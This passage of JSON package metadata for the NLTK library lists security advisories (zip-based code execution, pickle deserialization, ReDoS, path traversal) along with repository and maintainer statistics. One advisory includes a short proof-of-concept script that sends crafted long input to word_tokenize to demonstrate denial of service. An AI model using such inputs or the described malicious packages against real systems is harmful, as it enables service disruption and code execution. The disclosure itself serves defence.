affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-18T18:30:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-14009","https://huntr.com/bounties/49ecbc02-054e-4470-b2e0-b267936cc4e4","https://github.com/nltk/nltk/pull/3468","https://github.com/nltk/nltk/commit/1056b323af6462455571302e766b67cf300aea18","https://github.com/nltk/nltk/blob/4154eb85e832f266660a09286c7e37e308292284/ChangeLog#L1","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-96.yaml","https://github.com/advisories/GHSA-7p94-766c-hgjp"],"source_kind":"github","identifiers":["GHSA-7p94-766c-hgjp","CVE-2025-14009"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-19T21:00:08.821Z","updated_at":"2026-09-25T12:05:45.795Z","epss_percentage":0.00948,"epss_percentile":0.595,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","url":"https://github.com/advisories/GHSA-cgvx-9447-vcch","title":"ntlk unsafe deserialization vulnerability","description":"NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averaged_perceptron_tagger and punkt.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-28T00:33:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39705","https://github.com/nltk/nltk/issues/2522","https://github.com/nltk/nltk/issues/3266","https://github.com/nltk/nltk/commit/441aecb7d33014bd08672232c6c8bb69c2ceaba2","https://www.vicarius.io/vsociety/posts/rce-in-python-nltk-cve-2024-39705-39706","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2024-167.yaml","https://github.com/advisories/GHSA-cgvx-9447-vcch"],"source_kind":"github","identifiers":["GHSA-cgvx-9447-vcch","CVE-2024-39705"],"repository_url":"https://github.com/nltk/nltk","blast_radius":35.70158487540498,"created_at":"2024-06-28T22:05:19.937Z","updated_at":"2026-09-14T14:09:01.879Z","epss_percentage":0.01346,"epss_percentile":0.69577,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9","vulnerable_version_range":"\u003c 3.9"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","url":"https://github.com/advisories/GHSA-rqjh-jp2r-59cj","title":"NLTK Vulnerable to REDoS","description":"NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions `get_pos_tagger` and `malt_regex_tagger`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-01-06T22:24:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3842","https://github.com/nltk/nltk/commit/2a50a3edc9d35f57ae42a921c621edc160877f4d","https://huntr.dev/bounties/761a761e-2be2-430a-8d92-6f74ffe9866a","https://github.com/nltk/nltk/pull/2906","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2022-5.yaml","https://github.com/advisories/GHSA-rqjh-jp2r-59cj"],"source_kind":"github","identifiers":["GHSA-rqjh-jp2r-59cj","CVE-2021-3842"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:39.177Z","updated_at":"2026-09-22T20:14:35.802Z","epss_percentage":0.01461,"epss_percentile":0.71854,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.6","vulnerable_version_range":"\u003c 3.6.6"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","url":"https://github.com/advisories/GHSA-f8m6-h2c7-8h9x","title":"Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)","description":"### Impact\nThe vulnerability is present in [`PunktSentenceTokenizer`](https://www.nltk.org/api/nltk.tokenize.punkt.html#nltk.tokenize.punkt.PunktSentenceTokenizer), [`sent_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.sent_tokenize)  and [`word_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.word_tokenize). Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. \nIn short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example:\n```python\nfrom nltk.tokenize import word_tokenize\n\nn = 8\nfor length in [10**i for i in range(2, n)]:\n    # Prepare a malicious input\n    text = \"a\" * length\n    start_t = time.time()\n    # Call `word_tokenize` and naively measure the execution time\n    word_tokenize(text)\n    print(f\"A length of {length:\u003c{n}} takes {time.time() - start_t:.4f}s\")\n```\nWhich gave the following output during testing:\n```python\nA length of 100      takes 0.0060s\nA length of 1000     takes 0.0060s\nA length of 10000    takes 0.6320s\nA length of 100000   takes 56.3322s\n...\n```\nI canceled the execution of the program after running it for several hours.\n\nIf your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.\n\n### Patches\nThe problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result:\n```python\nA length of 100      takes 0.0070s\nA length of 1000     takes 0.0010s\nA length of 10000    takes 0.0060s\nA length of 100000   takes 0.0400s\nA length of 1000000  takes 0.3520s\nA length of 10000000 takes 3.4641s\n```\nThis output shows a linear relationship in execution time versus input length, which is desirable for regular expressions.\nWe recommend updating to NLTK 3.6.6+ if possible.\n\n### Workarounds\nThe execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.\n\n### References\n* The issue showcasing the vulnerability: https://github.com/nltk/nltk/issues/2866\n* The pull request containing considerably more information on the vulnerability, and the fix: https://github.com/nltk/nltk/pull/2869\n* The commit containing the fix: 1405aad979c6b8080dbbc8e0858f89b2e3690341\n* Information on CWE-1333: Inefficient Regular Expression Complexity: https://cwe.mitre.org/data/definitions/1333.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/nltk/nltk](https://github.com/nltk/nltk)\n* Email us at [nltk.team@gmail.com](mailto:nltk.team@gmail.com)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-01-06T17:38:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f8m6-h2c7-8h9x","https://nvd.nist.gov/vuln/detail/CVE-2021-43854","https://github.com/nltk/nltk/issues/2866","https://github.com/nltk/nltk/pull/2869","https://github.com/nltk/nltk/commit/1405aad979c6b8080dbbc8e0858f89b2e3690341","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2021-859.yaml","https://github.com/advisories/GHSA-f8m6-h2c7-8h9x"],"source_kind":"github","identifiers":["GHSA-f8m6-h2c7-8h9x","CVE-2021-43854"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:39.506Z","updated_at":"2026-08-20T13:06:34.590Z","epss_percentage":0.02668,"epss_percentile":0.84541,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.6","vulnerable_version_range":"\u003c 3.6.6"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ","url":"https://github.com/advisories/GHSA-2ww3-fxvq-293j","title":"NLTK Vulnerable to REDoS","description":"The nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [`_read_comparison_block()`(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file `nltk/corpus/reader/comparative_sents.py` may cause an application to consume an excessive amount of CPU.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-09-29T17:14:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3828","https://github.com/nltk/nltk/pull/2816","https://github.com/nltk/nltk/commit/277711ab1dec729e626b27aab6fa35ea5efbd7e6","https://huntr.dev/bounties/d19aed43-75bc-4a03-91a0-4d0bb516bc32","https://github.com/advisories/GHSA-2ww3-fxvq-293j","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2021-356.yaml"],"source_kind":"github","identifiers":["GHSA-2ww3-fxvq-293j","CVE-2021-3828"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:29.777Z","updated_at":"2026-09-22T20:14:24.447Z","epss_percentage":0.01703,"epss_percentile":0.75725,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.4","vulnerable_version_range":"\u003c 3.6.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy","url":"https://github.com/advisories/GHSA-mr7p-25v2-35wr","title":"NLTK Vulnerable To Path Traversal","description":"NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a `../` (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-08-23T21:53:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-14751","https://github.com/mssalvatore/CVE-2019-14751_PoC","https://github.com/nltk/nltk/blob/3.4.5/ChangeLog","https://github.com/nltk/nltk/commit/f59d7ed8df2e0e957f7f247fe218032abdbe9a10","http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00054.html","http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00001.html","https://github.com/advisories/GHSA-mr7p-25v2-35wr","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2019-106.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QI4IJGLZQ5S7C5LNRNROHAO2P526XE3D","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZGZSSEJH7RHH3RBUEVWWYT75QU67J7SE","https://salvatoresecurity.com/zip-slip-in-nltk-cve-2019-14751"],"source_kind":"github","identifiers":["GHSA-mr7p-25v2-35wr","CVE-2019-14751"],"repository_url":"https://github.com/mssalvatore/CVE-2019-14751_PoC","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:13:28.389Z","updated_at":"2026-09-26T11:11:26.107Z","epss_percentage":0.05674,"epss_percentile":0.92643,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.4.5","vulnerable_version_range":"\u003c 3.4.5"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/nltk","docker_dependents_count":1865,"docker_downloads_count":974969708,"usage_url":"https://repos.ecosyste.ms/usage/pypi/nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/nltk/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-09-25T09:32:38.295Z","issues_count":345,"pull_requests_count":588,"avg_time_to_close_issue":42571050.1793722,"avg_time_to_close_pull_request":5937334.942982456,"issues_closed_count":223,"pull_requests_closed_count":456,"pull_request_authors_count":147,"issue_authors_count":286,"avg_comments_per_issue":3.6695652173913045,"avg_comments_per_pull_request":2.4931972789115644,"merged_pull_requests_count":356,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":50,"past_year_pull_requests_count":352,"past_year_avg_time_to_close_issue":3635615.925925926,"past_year_avg_time_to_close_pull_request":996796.1439688716,"past_year_issues_closed_count":27,"past_year_pull_requests_closed_count":257,"past_year_pull_request_authors_count":69,"past_year_issue_authors_count":35,"past_year_avg_comments_per_issue":2.22,"past_year_avg_comments_per_pull_request":2.284090909090909,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":4,"past_year_merged_pull_requests_count":215,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":101,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":68,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/codemeta","maintainers":[{"uuid":"alvations","login":"alvations","name":null,"email":null,"url":null,"packages_count":61,"html_url":"https://pypi.org/user/alvations/","role":null,"created_at":"2022-12-12T18:43:13.760Z","updated_at":"2022-12-12T18:43:13.760Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/alvations/packages"},{"uuid":"stevenbird","login":"stevenbird","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/stevenbird/","role":null,"created_at":"2022-12-12T18:43:13.753Z","updated_at":"2022-12-12T18:43:13.753Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/stevenbird/packages"},{"uuid":"iliakur","login":"iliakur","name":null,"email":null,"url":null,"packages_count":2,"html_url":"https://pypi.org/user/iliakur/","role":null,"created_at":"2022-12-12T18:43:13.773Z","updated_at":"2022-12-12T18:43:13.773Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/iliakur/packages"},{"uuid":"tomaarsen","login":"tomaarsen","name":null,"email":null,"url":null,"packages_count":12,"html_url":"https://pypi.org/user/tomaarsen/","role":null,"created_at":"2022-12-12T18:43:13.781Z","updated_at":"2022-12-12T18:43:13.781Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/tomaarsen/packages"},{"uuid":"purificant","login":"purificant","name":null,"email":null,"url":null,"packages_count":5,"html_url":"https://pypi.org/user/purificant/","role":"Maintainer","created_at":"2024-10-31T19:53:46.357Z","updated_at":"2024-10-31T19:53:46.357Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/purificant/packages"}]}